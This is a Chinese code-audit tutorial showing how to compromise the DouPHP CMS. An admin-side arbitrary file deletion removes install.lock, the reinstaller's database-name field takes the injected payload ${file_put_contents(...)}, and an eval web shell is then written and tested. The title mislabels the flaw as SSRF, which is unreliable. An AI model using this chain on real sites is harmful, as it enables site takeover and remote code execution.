ssrf漏洞代码审计之douphp解析(超详细)

发布时间:2024年01月20日

1.进入douphp的安装界面

www.douphp.com/install/

由此可知安装界面已经被锁定了,但是由于install.lock是可控的,删除了install.lock后即可进行安装,所以我们现在的目的就是找到怎么去删除install.lock的方法。

要删除目标网站的任意文件,需要先寻找任意文件删除漏洞。所以我们需要找到能被我们控制的删除函数,删掉指定的文件。在php中,可以通过unlink函数来删除文件。用seay源代码审计系统全局搜索含有unlink函数的文件,

2.代码审计

(1)输入unlink( 进行全局搜索

(2)ID=1、2、3......挨个找可以删除的可控变量

ID=1

均为常量,不可控

ID=2

存在变量$sql_filename,且$sql_filename这个变量输出参数时要被is_backup_file处理,所以鼠标右键定位函数is_backup_file后进行查询

发现这个时个正则表达式,且后缀名要为.sql所以与我们要用的目标文件不符合

ID=3

这里需要的也是.sql后缀名的文件,与目标文件不符

以此类推

ID=6

$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");

这行代码的意思是在字段中获取mobile_logo的值

table()表示给表名加个前缀

由这个路径可知mobile.php是在admin下面,所以需要登录后台

(3)登录后台找到admin/mobile.php

www.douphp.com/admin/mobile.php

(4)上传文件

在点击删除LOGO时可以查看到删除LOGO的连接为

www.douphp.com/admin/mobile.php?rec=system&act=clear_logo

(5)将ulink()函数写为exit()函数查看删除路径

?@ exit(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);

exit()函数表示 — 输出一个消息并且退出当前脚本

这里输出的消息就是文件路径

点击删除LOGO后会出现

这里便查出文件路径为

D:/phpstudy_pro/WWW/douphp-master/douphp/m/theme/default/images/logo.png

由于我们需要删除的目录在/data/install.lock,所以需要一级一级的进行跳转,比如使用

$a=”../”?//这里的$a就表示返回上级目录

我们需要将/m/theme/default/images/logo.png变为/data/install.lock

该值是从数据库中读取的,那么就需要设法将数据库中,mobile_logo字段的值改为

D:/phpstudy_pro/WWW/douphp-master/douphp/data/install.lock

所以现在的问题变成了怎么将mobile_logo字段的值改为D:/phpstudy_pro/WWW

/douphp-master/douphp/data/install.lock

(6)继续分析源代码

这里代码的意思就相当于:

update config set value=$value where name=$name;

在变量name=$name时将config里面的value值更新为$value

这里目标就是将$value替换成D:/phpstudy_pro/WWW/douphp-master/douphp/data

/install.lock

将$name替换成mobile_logo

这里的foreach ($_POST as $name => $value)

Foreach表示遍历数组

$name表示键

$value表示值

(6)查看更新源代码

由此可知当满足$act=’updata’?时即可执行foreach ($_POST as $name => $value)

?因此现在的问题是如何在$act=’updata’?时绕过if()代码从而执行foreach代码

(7)用burp抓包

点击提交

这里name="mobile_description"表示键

DouPHP,DouPHP触屏版表示值

把name="mobile_description"改为name="mobile_logo"

DouPHP,DouPHP改为../../../../data/install.lock

放包

点击删除logo触发提交的事件后

出现这个表示删除成功

点击下一步在数据库名这里输入

${file_put_contents($_GET[1],$_GET[2])}

点击安装

表示写入成功

执行代码

http://www.douphp.com/data/config.php?1=666.php&2=%20%3C?php%20eval($_REQUEST[8])%20?%3E

则会创建一个666.php的php文件

里面的内容为

?<?php eval($_REQUEST[8]) ?>

输入http://www.douphp.com/data/666.php?8=phpinfo();

显示出这个页面时则执行成功

文章来源:https://blog.csdn.net/qq_59020256/article/details/135720122
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。